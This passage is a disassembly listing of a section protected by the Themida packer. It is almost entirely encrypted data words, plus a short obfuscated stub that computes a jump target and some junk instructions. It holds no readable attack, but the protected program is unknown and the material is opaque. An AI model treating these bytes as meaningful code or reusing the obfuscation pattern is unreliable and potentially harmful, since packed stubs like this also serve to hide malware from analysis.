		dd 304C8593h, 0BD79AAC8h, 986C75D5h, 2F432B48h,	8E609AD8h
		dd 0A951E721h, 48CB281Ah, 4B40h, 17FB1500h, 94E8056Fh
		dd 87FFF344h, 4494E81Dh, 0E9EFB9EBh, 47AF7A04h,	55BF474Bh
		dd 234494E8h, 0CCB357E1h, 0BA3EA1BDh, 0CB314B88h, 0C9BD783Ch
		dd 5A64128h, 5B860EC3h,	4CF28F44h, 0DC825D7Fh, 24109F0Fh
		dd 0BE3648CAh, 0F000000h, 894A6177h, 8C9D6FBh, 0C4195C7Ch
		dd 62EE26EBh, 0F9B0C4B1h, 2BE822E8h, 0EC6C3F99h, 14268964h
		dd 9A8BDE8Eh, 77914494h, 0C2264E34h, 0FCE56DE9h, 7E9C6EA3h
		dd 0D79BC355h, 87BB2981h, 223C31C7h, 94770F07h,	163EA19Eh
		dd 0A0515A7Eh, 0F234D06Ah, 0A253F90h, 4A61860Eh, 6D60E8B0h
		dd 0DFC74D71h, 0C0E9D6Fh, 42D24678h, 0F2A2009Fh, 3C1B900Fh
		dd 0F170FF21h, 9D8B3C6h, 43970000h, 0EF0E766Ch,	5AB2E2C0h
		dd 0EB036F51h, 4BB6DEC4h, 0CC426E54h, 94EEB150h, 3EA407E0h
		dd 8CF6B556h, 35AB00D8h, 0FD67DFA7h, 0CB428C5Dh, 17FBB7DEh
		dd 94E8056Fh, 27B1F344h, 279906EBh, 0B40E9D3Bh,	7593FB01h
		dd 0B1CBA436h, 0C9FFAC40h, 0BDC6BD4Dh, 82C43EA1h, 3CC53B51h
		dd 34D3BD78h, 0AE4A3A77h, 0A111D4FDh, 230B7698h, 2417A616h
		dd 0D5C148CAh, 7830C335h, 7187B9BDh, 0BF1Fh, 6177F400h
		dd 9B46CE4Ah, 0E7DDF604h, 23885F0Ah, 0C5902CE5h, 0C74494E5h
		dd 0BE283A97h, 20BA80F2h, 299714F4h, 0C70C9F39h, 583D0E18h
		dd 0B0B56C77h, 0B5A19553h, 6BCDA315h, 2B9D2DBBh, 21BB6BCDh
		dd 97A1E3DFh, 0FB04077Fh, 0B0F2C15Eh, 0C863FDD2h, 5124B850h
		dd 0E868C74Ch, 2829813h, 583C58C0h, 429944B0h, 3A844B7h
		dd 57BB3D7Fh, 0C7BB257Ah, 15F4752Ah, 0E270FE09h, 8DCC0B9h
		dd 77930000h, 0C31A4A38h, 6E8EF6ECh, 0DF2F633Dh, 5F82F2D0h
		dd 0F86E6240h, 0C0227D64h, 0A7833D4h, 0B82A815Ah, 217F2CCCh
		dd 0D143C3CBh, 0A7428C5Eh, 5A7793BAh, 73AB5B45h, 82599EBh
		dd 0CC48D27Bh, 0B2217F2Ch, 894A6177h, 0F4CEDDFBh, 3A658C04h
		dd 0B6B74179h, 0F59581ACh, 3EA1F78Ah, 0F852E70h, 1E46B2F9h
		dd 0E70A59ACh, 0C76F0CB8h, 0B561BF59h, 3F10956Dh, 0F6D4FDA2h
		dd 0E68066CEh, 8328C054h, 989C3E4Eh, 5DFD2BFCh,	0F9C3C94h
		dd 5B50A727h, 0D92F63BDh, 34AB21D2h, 1B22FCD8h,	0F2166E7Bh
		dd 3D9BC7B9h, 0DA47456Eh, 0E483AEA0h, 0F3156D76h, 3E9ACAB8h
		dd 2018A3BBh, 63EAFDD8h, 0FC9CFD67h, 4F99CB22h,	38F38DA2h
		dd 0EFBC50C0h, 529D2DE9h, 0C858C9A9h, 89932C96h, 0BE1ABA9Eh
		dd 0F406C4EDh, 9069A424h, 8DCF5EF4h, 7F5CF464h,	513E72Ch
		dd 0D6B81E85h, 1821091Eh, 64BC19A8h, 5033DEBh, 86160000h
		dd 0BA750F78h, 263E5A3Eh, 0EE775B7Fh, 0C83C30F8h, 0C04494C5h
		dd 49107C7Eh, 4B3EA1D7h, 2FCBA113h, 3FCF2369h, 973A3A70h
		dd 5092F208h, 3429F870h, 0C852F13Bh, 2E51F95Dh,	0C23BC49h
		dd 0B1623DA4h, 77A78F59h, 0BDF3F59h, 9CB54353h,	0B420A8ACh
		dd 84539E40h, 0ADB7B842h, 2BF69682h, 0D129AB7Bh, 0D127A78Fh
		dd 5C7CE8DAh, 5595A4Fh,	5D468E1Fh, 7655Ch, 0BFF00A00h
		dd 535CB1E1h, 0C4E7056Dh, 5758B6DEh, 0C7D8F969h, 0DB71E5D9h
		dd 4B37A9F6h, 0F1A1FFACh, 432F911Ah, 429C06A5h,	5F5ACE3Eh
		dd 3532428Ch, 4A617708h, 0CAE1FB89h, 11DA1D8h, 0D2700000h
		dd 2777DF4Ah, 0C4039F95h, 18C852A6h, 174587F7h,	1A2BDA4Ah
		dd 0B06FB126h, 24000000h, 77DF4AD2h, 951AF35Bh,	0E8900783h
		dd 92024494h, 9F09817Ch, 6D4494E8h, 176B6D3Bh, 40982CE5h
		dd 0EB0D756Bh, 0E80A7E0Eh, 0C0024494h, 62860E0Ah, 0B6A2AF49h
		dd 0E8F2B91Eh, 46B27D07h, 801FC252h, 72720064h,	52E8880Ch
		dd 0A18787BAh, 0D50D093Eh, 9AB432A0h, 7AEEDE21h, 62BD7925h
		dd 29A1218Ah, 0C0EDCCFh, 0F78D4678h, 0FF09CAE1h, 79251D87h
		dd 0B9B9EBBDh, 36478C1Fh, 6FC3CB98h, 1918413Bh,	0A351307Ah
		dd 44A3C62Bh, 9A50AA67h, 0C597A159h, 647D8CFCh,	142148CBh
		dd 0F2000000h, 0FB6Ch, 0F5088800h, 5ACE3EBAh, 324494E8h
		dd 0D2EBEAF0h, 2979DD48h, 6B07FD95h, 0D1C553BDh, 0A1EE7239h
		dd 7DEE303Eh, 77149A78h, 3B47426Dh, 34000006h, 7BE7D9D6h
		dd 0FF734D62h, 0B0E4BEEDh, 36F515Eh, 0EFDFC1DEh, 0ABF4DD7Fh
		dd 1AA4D35h, 9318F39Fh,	8A3452Dh, 0CC3C449Ah, 428C5058h
		dd 0FB0A3330h, 0A6347B93h, 0CE72BDC9h, 2A9E2E2Ah, 224494E8h
		dd 985952AAh, 1192A862h, 515A7E8Eh, 0F1D434A0h,	0A291AF7Bh
		dd 19DA10A2h, 0D5F7C48Ah, 28C717FFh, 1CE03081h,	7D48A90h
		dd 26D46897h, 2F2EB1h, 0D2E70000h, 5EBFDF4Ah, 646DEF5Fh
		dd 26F0C5F4h, 1B89B1h, 0D23A0000h, 5EBFDF4Ah, 7B481638h
		dd 94E0AA1Bh, 2ADAE244h, 6E4ED914h, 0FFFFFE73h,	7493FB27h
		dd 125A7A37h, 892C6CF2h, 0E30C0EDCh, 0C4B0D05Bh, 6110A19Ch
		dd 7C7E86D4h, 0BF9D3F27h, 0BB342B2h, 96D7B126h,	0AC000002h
		dd 0F3935A77h, 4494E881h, 0B04D4577h, 7C08C9FFh, 0B9E94D62h
		dd 0D90481B8h, 98B93FB0h, 33E0CB2Ch, 0B25F40A1h, 666E7B1Bh
		dd 0EE460A30h, 0C9FCAE1Dh, 48C6069h, 0DF33C5EAh, 158A6702h
		dd 5C85EDD3h, 0C7618E43h, 60E8EC6Ch, 4494BCF4h,	0A07882C4h
		dd 0A1A12D28h, 576FAF3Eh, 0CE46B159h, 34760E2Ch, 616AF47Fh
		dd 0C9B7E809h, 0AA673899h, 79B1AA12h, 0D6E3A3BDh, 564C537Eh
		dd 0A22AC32Eh, 0BD79BF36h, 0BF86F29Ah, 3476BD79h, 3CBCEE30h
		dd 0BF44B058h, 0F234BD79h, 2A34EBE8h, 8BFB17FFh, 0BD79BF19h
		dd 0C149ADEFh, 0BD79BF57h, 4155E325h, 8E21BD55h, 0D97FBF65h
		dd 0EC0D9629h, 0E1701C1Eh, 0B3C74C8Ah, 0C5EEBD1Bh, 4D8FF305h
		dd 65C05A73h, 879659F1h, 4284CD7Bh, 0A589FB91h,	798FA953h
		dd 0FA138132h, 0AAA8FCB5h, 4E0C7FA1h, 33FE8885h, 43C3CFC3h
		dd 0A953A5D1h, 276375A7h, 0D36690C4h, 8808F032h, 44763B70h
		dd 0E0F86CB6h, 160206CBh, 20D70276h, 0CE2FAA3h,	0DA15627Fh
		dd 236F893Fh, 505BB0C5h, 0B5A167A3h, 23BBBA1Dh,	66BC3E8Ch
		dd 1AB2CF59h, 0A320E8AEh, 0D3D869Eh, 6AB1CF9h, 7A1206C4h
		dd 0D915EE2Fh, 5666ABDDh, 0A535EAEEh, 62850DFBh, 0E0FC8849h
		dd 61FBFDCBh, 0EED9E858h, 0F035087h, 35E20D77h,	8DF78FA5h
		dd 7BA535E2h, 0F1073949h, 3D9Fh, 48D27400h, 0EAD179DDh
		dd 0D83EA1BDh, 6272B2A6h, 7FCEACB6h, 253320BAh,	0DB5D4EADh
		dd 78A9C92Fh, 6D76D4BDh, 16E3F999h, 78A90276h, 2C8FABDh
		dd 9BDFF9D1h, 48CAB16Ch, 0B532h, 6177E300h, 0D6FB894Ah
		dd 27C54DC9h, 675D7684h, 0EBD91A91h, 0D4449E0Dh, 0E8DC48C0h
		dd 44AC4494h, 0D1C107A4h, 226A703Bh, 4494E557h,	555EE939h
		dd 0F53FB7BEh, 83CAE1CDh, 0CA508BC6h, 0A3FDAE4Ah, 0CB43304Ah
		dd 78527F2Ch, 6BC680F4h, 844678BBh, 6996F494h, 5092C15Fh
		dd 8A64ECE8h, 0C0EEC25h, 4C366988h, 0E5E6B918h,	77111FDAh
		dd 4BC5C4EFh, 24000003h, 8BF7E9C6h, 2F633D72h, 80F4CEDDh
		dd 335F416Eh, 0BFEFD1CEh, 7B24CD4Fh, 317A5D05h,	0E3C8234Fh
		dd 387395FDh, 0FC8C744Ah
		dd 428C5388h, 773A8380h, 0C5D1455Ah, 94E8D345h,	6177A944h
		dd 0F6B5533Fh, 6177198Ch, 5F7F894Ah, 0E54DDE1Bh, 68BD6542h
		dd 4E7A5C04h, 50A8ECEEh, 4FF7DB5Bh, 4494ECE5h, 2B805BD3h
		dd 44D614E6h, 439A3ADEh, 0C553A76Ch, 4A61778Eh,	0D642CACEh
		dd 0A64494E8h, 119E7064h, 0C3102AE0h, 0E7437D1h, 8C8CA7C1h
		dd 34C6E904h, 0F651E464h, 0F5273EA1h, 258C0BCh,	0E545BD78h
		dd 65D6CDCh, 420148CAh,	0D2000000h, 79DD48D2h, 0A1BDEAD1h
		dd 6DA6D83Eh, 0B86DC3DBh, 5E69143h, 3F2197F3h, 0D83CBD78h
		dd 36D5A038h, 4C7E3C75h, 0B32330AEh, 48CA2704h,	1AE40D0h
		dd 8EFEFAD0h, 0BD78331Ah, 0E82AB0F2h, 0FCh, 4A61779Dh
		dd 0C9D6FB89h, 4F5C7C08h, 0C01EB6A2h, 0F208C2EFh, 0F16546A2h
		dd 0B405D8B1h, 49CF61A9h, 94D0A3D7h, 0D2364494h, 84359F27h
		dd 0C1034494h, 8443B555h, 7394494h, 55B3DFC1h, 0DDD22CA4h
		dd 94847BEDh, 0D90F5144h, 0FED9795Dh, 844BBDADh, 0B6514494h
		dd 9D3B6DF5h, 46E17BB4h, 0B5FF3AD2h, 45AD3EA1h,	51C5039Ch
		dd 0D353C545h, 6C89BD79h, 92827054h, 0C0B4F66Eh, 7753802Bh
		dd 94AE3F61h, 5B2D9D99h, 0B1C74DCDh, 0EA07876Fh, 0B31BCBB5h
		dd 0ECC31B4Eh, 315F51Eh, 3C2D728Fh, 70FF7D15h, 0B7605942h
		dd 0B8000001h, 3F338D22h, 0F39F01AEh, 44309219h, 0E79B05AAh
		dd 732B950Ah, 0B7E80983h, 6D3E99C9h, 1F8C5F13h,	7437D1C1h
		dd 30D8C00Eh, 428C55C4h, 0FB8EB7B4h, 0E8056F17h, 0B1F34494h
		dd 0E853C545h, 0F7294494h, 4F50B1E1h, 0F9918571h, 4494E88Fh
		dd 65AD4B7Dh, 0BBA2883h, 79DD48D2h, 0A1BDEAD1h,	9B70D83Eh
		dd 1DF1E310h, 61925892h, 783CF56Bh, 8C04F0BDh, 943D72h
		dd 0B713C0EBh, 6C75E7F1h, 0CA24CDFCh, 0B19148h,	91850000h
		dd 78308FF9h, 0AD4B7DBDh, 4A6177A6h, 0C9D6FB89h, 74140008h
		dd 4494E800h, 0D834C6F8h, 4494E58Dh, 643E6D8Bh,	1ED3D830h
		dd 68379A3Ah, 0A8839DD2h, 259D18B0h, 598BC15Eh,	138C75DDh
		dd 940E2CDEh, 9F0CEC64h, 1DD6D533h, 8125BDDh, 0A691391Dh
		dd 94C74C8Ch, 836EE652h, 13BEA61Ch, 0BCFCFF8Ch,	0FE2970FEh
		dd 0C58Bh, 5F50AA00h, 0B3FC1181h, 6447A5CDh, 0B7F8167Eh
		dd 673899C9h, 3BD14579h, 0EB970996h, 51419F0Ch,	0E38FF1BAh
		dd 0A23CA605h, 56FA6EDEh, 0D5D2428Ch, 455A77A8h, 28D1275Bh
		dd 94E834A0h, 0D2C20444h, 8A40713Ah, 77736240h,	0FB894A61h
		dd 0DBF4CEDDh, 0DA72E641h, 3EAD5B00h, 7F15BE00h, 0B8604269h
		dd 50EAC518h, 4A8724C4h, 4C56ED32h, 854EECD2h, 2E0CB2Dh
		dd 7C357692h, 0C4E7048Ch, 0F51DBB0Fh, 675D9619h, 3BD91A91h
		dd 4A0DFFB3h, 0F8148035h, 0DB83FEB3h, 26923A0Eh, 168458F8h
		dd 0D17D16D4h, 5358B008h, 19866BE3h, 8A1822D8h,	4ADFEDAh
		dd 1185h, 93FB4C00h, 12DB4F7Ah,	0B68B546Dh, 0ED0BBFF4h
		dd 6377476Eh, 0DBFD874Ch, 5AB123D0h, 0D334A051h, 48A91BD8h
		dd 0C72A9A57h, 55A91BD8h, 0D12B995Ah, 52AB19DAh, 5252B45Dh
		dd 0C281E289h, 4, 8704EA83h, 248B2414h,	4E4D6824h, 34890000h
		dd 0E2895224h, 4C281h, 0EA830000h, 24148704h, 243C895Ch
		dd 1D88BA52h, 0EA816C5Ah, 664169B3h, 685AD689h,	0C6Fh
		dd 83242489h, 5F042404h, 4EC81h, 34890000h, 242C8124h
		dd 21124B7Eh, 8108478Fh, 4B7E0847h, 3C8B2112h, 0E3895324h
		dd 4C381h, 0C3830000h, 241C8704h, 24348B5Ch, 81E18951h
		dd 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 0FFFB87DCh
		db 5Ah,	0C7h
; ---------------------------------------------------------------------------


loc_5D827A:				; CODE XREF: Themida_:005D7654j
					; Themida_:005D828Cj
		mov	eax, 618BF1Dh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		align 4
		add	[edx+6Eh], ebx
		inc	ebx
		stosb
		test	al, 5Eh
		push	eax
		jb	short loc_5D827A
		xor	esp, ebp
		lds	esp, [ebx+edx]
		fbld	tbyte ptr [edx+1E681C0Eh]
		retn
; ---------------------------------------------------------------------------
		dw 0D366h
		dd 0A31D28A2h, 8E2A8571h, 0AC614CCCh, 9A4ADA8Fh, 0AB555427h
		dd 0A5EB86Ch, 0E949B050h, 0Eh, 2F56FE50h, 7C809E01h, 0
		dd 11E90000h, 6800000Eh, 618C195h, 0FAC153E9h, 0C2F868FFh
		dd 49E90618h, 68FFFAC1h, 618C44Ch, 0FAC13FE9h, 0C58F68FFh
		dd 35E90618h, 68FFFAC1h, 618C710h, 0FAC12BE9h, 0C9EC68FFh
		dd 21E90618h, 68FFFAC1h, 618CB0Bh, 0FAC117E9h, 0CC5E68FFh
		dd 0DE90618h, 12FFFAC1h, 0E3492C4h, 0E3492BCh, 103290BAh
		dd 0F3191BFh, 13492C2h,	0E470BD2Eh, 0FE54E4C6h,	0E365FAE0h
		dd 4CDDC3h, 47B699A2h, 16B674CBh, 0BDE17D94h, 6D51E06Ch
		dd 565270DCh, 7B5C7B0Bh, 0B4AD295Ch, 77E6109Dh,	109DB51Bh
		dd 7392A1E4h, 0A2DF1A69h, 5F68168Eh, 9DE76Bh, 0A52308E8h
		dd 458389E5h, 0D7F44524h, 58E961F3h, 0F250AF39h, 490A8A8Dh
		dd 0BA98280Ah, 3963D832h, 5AAD3F7Bh, 48E3h, 0BEA37700h
		dd 75C7EBC8h, 0EE4284D5h, 0ED8C0D5Ch, 8687F6E3h, 57168E98h
		dd 1B3AE970h, 3FAE045Ah, 0A8A90E3h, 690869ACh, 0A9DCFBD8h
		dd 0A8A912Dh, 0ED7ACE61h, 61E120A8h, 0B80A8A91h, 0C18FBD4Eh
		dd 695AAD36h, 0D8h, 0E06CBDCDh,	77FADCC3h, 7E975C22h, 86D3F776h
		dd 0C796BE0Bh, 34162746h, 260CABA1h, 0B332BA94h, 0B10E3E8Fh
		dd 0C4634086h, 57EA542Dh, 0A23294F5h, 0BB2A28B0h, 109DEE2Ah
		dd 0F9D973C6h, 77C686D7h, 79563039h, 8EF30104h,	1BBBDA16h
		dd 0E3C0C61Bh, 75498F72h, 86256810h, 0B3857EA9h, 7B764B7Bh
		dd 82D25F71h, 0E2AFFE24h, 0EB9EFF51h, 79FAFD2Fh, 0D484C168h
		dd 5200000Bh, 4E745204h, 4E7452FCh, 507250FAh, 4F7151FFh
		dd 41745202h, 24307DEEh, 3E14A486h, 2325BAA0h, 400C9D83h
		dd 7765962h, 16B6758Bh,	0C2213D54h, 9E0776DDh, 909B6065h
		dd 0D55D42A9h, 0B81243C6h, 81109DBEh, 86567D1Ch, 11308A48h
		dd 0A9381AA2h, 32230CABh, 59F8CE41h, 0E6CC0AD2h, 7FD9F953h
		dd 0DB0ABEA3h, 109DB57Fh, 0A0B20248h, 70117091h, 98232253h
		dd 0CBF4168Eh, 0D1C03454h, 0D96809E8h, 8A6D2AA8h, 7405810Ah
		dd 1571E4C3h, 0DE0A8A6Dh, 0EFAD35BFh, 575AAD52h, 109h
		dd 5FF14268h, 9B458F0Eh, 51E06CBDh, 94B6E06Dh, 0DB3A0B41h
		dd 9DB530AAh, 7CD26410h, 0C09FACEDh, 9DB4D14Dh,	1A7B9A10h
		dd 547B5C7Bh, 0E675F09Bh, 1975E428h, 0E2109DDDh, 8DCA19A3h
		dd 87D17A5h, 109DDC8Eh,	6573657h, 1FCE3D87h, 0BB109DD9h
		dd 95F1642Ah, 5E109DD7h, 5F805E3Fh, 0E14E1F78h,	40885C52h
		dd 11CBBB0Eh, 77F5FB4Fh, 96B584E5h, 4EA1BEB1h, 4993BB37h
		dd 3592F4EDh, 8F60BDC0h, 58779616h, 4D8C0677h, 90C50A8Bh
		dd 0A8B4E36h, 4CD19EFFh, 0F5A5684h, 11255877h, 0A1075ACh
		dd 0A73E98CDh, 86070475h, 53E2C8E7h, 9B84A101h,	7001B817h
		dd 7C5E66E8h, 52F267EDh, 7779FA4Eh, 0A7195B0h, 29B50000h
		dd 1BAB8D2Dh, 1BAD9333h, 1AA98F2Fh, 23B29836h, 8DA29131h
		dd 2383D160h, 3A3AFFDh,	20BE8A1Dh, 5A5A73Ah, 68E2133Ch
		dd 3116B677h, 70BD46F8h, 0C6E9C6E4h, 9DB53B97h,	37810410h
		dd 2A88C415h, 0E06CBD90h, 70DC6D51h, 7B0B5652h,	0A3E4295Ch
		dd 1A3D168Eh, 8A9D6FEBh, 0B4D5380Ah, 0C681A6A5h, 8D9D561Eh
		dd 754E9B63h, 85E46EE6h, 0A74DCC3Bh, 6AA40A8Ah,	14EDABD1h
		dd 0CB555AADh, 66000006h, 4696EF44h, 0BDDC3D0Ch, 0BEA3A933h
		dd 0C998B405h, 0AD8A2948h, 0D11B3785h, 8EA1D732h, 0EC7DA016h
		dd 8AA03D9Dh, 81FA940Ah, 0AD0D9D5Bh, 698455Ah, 0A3190000h
		dd 7AEBC8BEh, 168EA363h, 440E9EA4h, 9E9CF667h, 20650A8Ah
		dd 181F041h, 580A8A9Fh,	0A16F9D2Eh, 95AAD0Ch, 66Eh, 0D5DFB92Dh
		dd 0ECF460EDh, 0CEED99D0h, 0A1345DECh, 1A7BCAABh, 1626FEB5h
		dd 0E7F184E5h, 71FA7BEAh, 8A0B168Fh, 584DE469h,	4A9F9676h
		dd 2DBB9F3Ch, 0EBF51425h, 368A7FEEh, 2838467h, 202C7DA5h
		dd 79E8F011h, 4360263Bh, 62EC3E64h, 0DB2AB2D3h,	7E540E26h
		dd 262EBB9Fh, 3897F617h, 0AEA63317h, 64767E9Fh,	755B7BD1h
		dd 55F568E4h, 66E7D55Bh, 91D8AC7h, 0BD090000h, 0C7173999h
		dd 0AF012787h, 0C6153B9Bh, 0B7062C8Ah, 210E3D9Dh, 0F7D77DCCh
		dd 0EFCF83D1h, 0F4D276C9h, 0F1D17BCEh, 1C76E7E8h, 0E516B679h
		dd 6CBD92ACh, 4D7251E0h, 4E8AD20h, 0B602CA31h, 89FCDBABh
		dd 16857BFFh, 0D201A1E4h, 0A8565A4h, 2537543h, 332C6C4Ah
		dd 76173D8Ch, 6EE27159h, 0E56DFBDFh, 8C543554h,	64CC1E4Fh
		dd 3D850A85h, 320362EEh, 0B4A02D15h, 3E12A1A5h,	458FEE2Fh
		dd 0F2C4C213h, 838C2AF8h, 0D362EA7Bh, 14B2D3B2h, 84FE71E1h
		dd 0D5AD920Ah, 0ECC53BDCh, 3689CB15h, 3B8EB412h, 51B14011h
		dd 8EE94A39h, 0FFE08704h, 85B9148Eh, 30B8DD0Ah,	0E1C18B1Eh
		dd 8FDE6EBFh, 85A8A0FEh, 0C78DDC0Ah, 4B015476h,	0D13D5FAh
		dd 248CBE09h, 8B7A0F83h, 943EBB35h, 86AC0B41h, 0B42E5F37h
		dd 7D0A8574h, 0A9E87918h, 2816311Fh, 0BC000001h, 96A5DDC2h
		dd 0C28A106Bh, 0C785D8FAh, 8BFF5476h, 9C1F64A4h, 8AFB50CBh
		dd 109E8510h, 84D5B4D9h, 9E8499F5h, 80F5D210h, 109E8506h
		dd 45694ECFh, 145CC396h, 0D164767Eh, 93CEEA7Bh,	17A1D4F3h
		dd 0FC1685D4h, 1F10E499h, 9E4D800Bh, 7DAC3h, 58FE4C00h
		dd 4806587Ah, 56F4486Ah, 4F015278h, 58FC496Fh, 87E44B7Ah
		dd 96BC1A3Ah, 8CAE0C46h, 8FB11137h, 0A3B00E3Eh,	79CD49BCh
		dd 839616B6h, 1D6CBDDFh, 1273C28Eh, 0DA6E5473h,	0FEA0E170h
		dd 7495A4AEh, 8CD9FD6Ch, 73C8EAC8h, 82D3F5D5h, 77C6ECCAh
		dd 0FB4A8CDDh, 0B4F06A9Bh, 54B9109Dh, 0E170E272h, 8A70C1A0h
		dd 79D5654Dh, 0E51FA9E8h, 450F9E54h, 0EA0FCD65h, 7B7A341h
		dd 8B000000h, 8CC4h, 6CBD6A00h,	0A22051E0h, 0EC109DA4h
		dd 7C5E0982h, 7A5C64EAh, 644665E7h, 66747CD2h, 859EF44h
		dd 0CC1EE4CBh, 0D6630CF6h, 0AF1E7F0Eh, 3A54109Dh, 0A53416C1h
		dd 0B9B99EAFh, 80A45727h, 0DA6B4F2Eh, 1AA2E372h, 5A5A338h
		dd 7CD60728h, 45109CC5h, 0BD5EF8C0h, 508FDE6Ah,	0B4A4FE6Fh
		dd 286D109Dh, 2F19AEA0h, 61DA781Eh, 8D2A1EB1h, 0B4DF3BAAh
		dd 65A8109Dh, 2B0E7D5Bh, 0F2109DBCh, 0BE11995Ah, 0FEA6415Ch
		dd 0C415FFFFh, 3A6h, 0E06CBD6Ah, 1571E4C3h, 0DE109DB5h
		dd 0B5128C01h, 0BADB109Dh, 235211DBh, 109DB4B3h, 8517409Dh
		dd 4B1C8780h, 0F794FEC6h, 7452FA4Bh, 7251FB4Eh,	0C087584Dh
		dd 559FE727h, 0AEF76796h, 0C213109Eh, 89D878C7h, 6D4A6908h
		dd 9EAE9EF8h, 9E266710h, 8EF8F14Fh, 654BC31h, 86A91686h
		dd 85EEFB57h, 7741C40Ah, 0ECB6ABEAh, 15800B50h,	6597B56h
		dd 81CD0000h, 83D3F5D5h, 73C5EBCBh, 82D1F7D7h, 7BCAF0CEh
		dd 65CAF9D9h, 3B9BB908h, 2B8BC715h, 3896B205h, 2D8DBF12h
		dd 50CA3B24h, 1916B67Ch, 0E5C25E00h, 9DB51670h,	36BEDF10h
		dd 0AABB9124h, 9C3B19A8h, 162721B6h, 0C9EFEDF7h, 0D3F7D478h
		dd 5DECCE86h, 0C9EFEDF7h, 4589D87Ch, 50D5CF8h, 0F544EE8Bh
		dd 15E37F5Fh, 0F7A341E6h, 0D10684D3h, 3E2A3761h, 940BD5B4h
		dd 2BAh, 83DDC2AAh, 0B66D8988h,	57F487ABh, 162C970h, 1E647BB7h
		dd 54EBE4Fh, 3DC9EE74h,	5DD0A0CCh, 95B2A250h, 0AF67E660h
		dd 3DB0AF11h, 11AF67E1h, 0C20A6BAAh, 2815Bh, 7567C00h
		dd 78193B8Ah, 0BCA3E670h, 42BEE9C6h, 3BCBD6F6h,	2B4A0054h
		dd 0AF93B4A1h, 0E0213020h, 0DA2DA9D8h, 4166109Dh, 0B181DA93h
		dd 4E9B252Ah, 7D0F7ECFh, 0F8EE73ECh, 1CFFD8Eh
		dd 0A9A25045h, 23Eh, 0C6BCA38Dh, 0B51E74E9h, 0BEDF109Dh
		dd 4AEE5EAFh, 0FB4EEE73h, 6CBE0051h, 0DD6BC0E2h, 0A516588Ch
		dd 6CDD29B0h, 94997BBh,	0E75917BFh, 0B01A250h, 55000002h
		dd 57F7DDC2h, 9343471Dh, 0CDF2ED49h, 14B3D27Eh,	9DFF6DE1h
		dd 0C8E72610h, 0B80052E2h, 9568D829h, 0A7E3EE73h, 0AA2AEA12h
		dd 0E3CCA250h, 9A797A9Fh, 2178407Ch, 1D2h, 4CE0C235h, 97A6AE3Bh
		dd 4461776h, 0F1FB9AB0h, 0E1FE4EDFh, 92236AF9h,	0B6AABBAh
		dd 8D2022C1h, 543720BFh, 8D9B8FBh, 9D99B701h, 3A654244h
		dd 523661CAh, 67747CC8h, 7DCF6248h, 66D91473h, 0F0D2168Fh
		dd 3A802A5Eh, 8957598Ch, 0B03859E8h, 65E11433h,	990A8B2Fh
		dd 0D538074Bh, 0F654A5B4h, 4D0A8B2Eh, 62BC310Eh, 2B0A8B2Fh
		dd 0D9B89827h, 61B1A3F2h, 0BF09B9D5h, 0C888B445h, 705AAC01h
		dd 52h,	5BEA3C6h, 57DAD1B3h, 0B1D51D2Ah, 2D12B1D0h, 800D2507h
		dd 59864E67h, 8F8D2524h, 0B3416616h, 7AA3613Fh,	60ED9037h
		dd 36089C1Fh, 0EF1E41AEh, 0A8AC973h, 0A9B8D93Ch, 8AC8FA58h
		dd 44B5510Ah, 0ACFE5818h, 0EA005Ah, 0EFD30000h,	2061F060h
		dd 6CBD3E98h, 0B557B322h, 0FD20109Dh, 3C89CD9Ch, 250A4918h
		dd 0D17A1BA2h, 0D99E0527h, 27322F4Bh, 9F3224ACh, 98BF9CADh
		dd 0A19EBE7Eh, 66E87A03h, 0DD7B6D7h, 0BE0F7ACBh, 0DD1C3BC8h
		dd 0A8C921FDh, 92C5EAC9h, 5FC08A98h, 598CCA12h,	109E2DC8h
		dd 97EE4169h, 5C640545h, 36A7E77Ah, 109E2CDCh, 124360A5h
		dd 109E2CB8h, 5D7D1C81h, 617E0861h, 888A982Ch, 8A1D0516h
		dd 666EAFBEh, 3278409h,	1F409EB6h, 0B7DEAC3Bh, 0ACBB4D06h
		dd 5C7E4627h, 0FA54890Dh, 0C30A87E4h, 7E2E2342h, 93800D46h
		dd 37DF9D4h, 1DA90000h,	27B79939h, 0FA18727h, 26B59B3Bh
		dd 17A68C2Ah, 81AE9D3Dh, 5777DD6Ch, 4F6FE371h, 5472D669h
		dd 5171DB6Eh, 0BC164788h, 8516B67Dh, 70BD320Ch,	51E4C6E4h
		dd 0D8FADBFBh, 55FFC987h, 51E06CBDh, 5270DC6Dh,	9DB4A223h
		dd 0E99DC410h, 0AC129BCAh, 0D233168Eh, 6CBD56F4h, 0DC6D51E0h
		dd 0B565270h, 0E2765C7Bh, 30B8D968h, 0A377B223h, 9D00168Eh
		dd 9EDD3DCCh, 0DA340A8Ah, 0C7D3B61h, 2FE55AADh,	79000000h
		dd 0EBC8BEA3h, 8E989B7Ah, 18296C16h, 8A8969E9h,	0AF93C00Ah
		dd 69A32D1Dh, 3EECACD0h, 0D4545AADh, 67000000h,	0D5CF443h
		dd 0B4962A8Ch, 6CBDB22Ch, 4D7251E0h, 88371DD1h,	488A52EFh
		dd 0C80A5BF9h, 4486D775h, 87B5BF1h, 109E2159h, 0CBE864F5h
		dd 0F13D17E4h, 0D51FF1ABh, 3184A687h, 1CB4A1Bh,	7FCE7ECFh
		dd 815E2841h, 8EB4A10Ch, 0ECCB4A16h, 0B2409ACBh, 84090A8Ah
		dd 0C7221E3Ch, 51ED20BFh, 5A10751Bh, 27B69C3Bh,	1EAB8D2Dh
		dd 6A534336h, 0D59479FAh, 25EF8h, 0DC7AC800h, 0C48ADCFEh
		dd 0DA70C4E6h, 0CB85D6FCh, 0DC78C5EBh, 0B60CFFEh, 123896BEh
		dd 103290C2h, 0B2D8DBBh, 273492BAh, 8059B528h, 0EF2216B6h
		dd 1E70BD53h, 942728F0h, 3F64A5B4h, 7655DF7Dh, 9DF18B07h
		dd 50315410h, 4FFD5072h, 0FF7E4770h, 4B1A3685h,	0BE25E5CAh
		dd 60014BDEh, 0A3E07A58h, 7AEBC8BEh, 168E989Bh,	2966F6DCh
		dd 67A6B79Bh, 2931BE06h, 62A3B296h, 0F5EEC40h, 2F5EEF8Eh
		dd 0A8A88AFh, 9D2D58EBh, 61A0B1h, 0C8BA0D31h, 0AEF5BD13h
		dd 0FC4D2C55h, 5342B7DBh, 0D7654D8Ah, 442523B8h, 26CDF25Fh
		dd 6B755069h, 0DBFFA821h, 4E70C189h, 850455FFh,	0B484DCE4h
		dd 1C5AAD26h, 0DAh, 0EFD698BFh,	92A3A739h, 0D4A74C73h
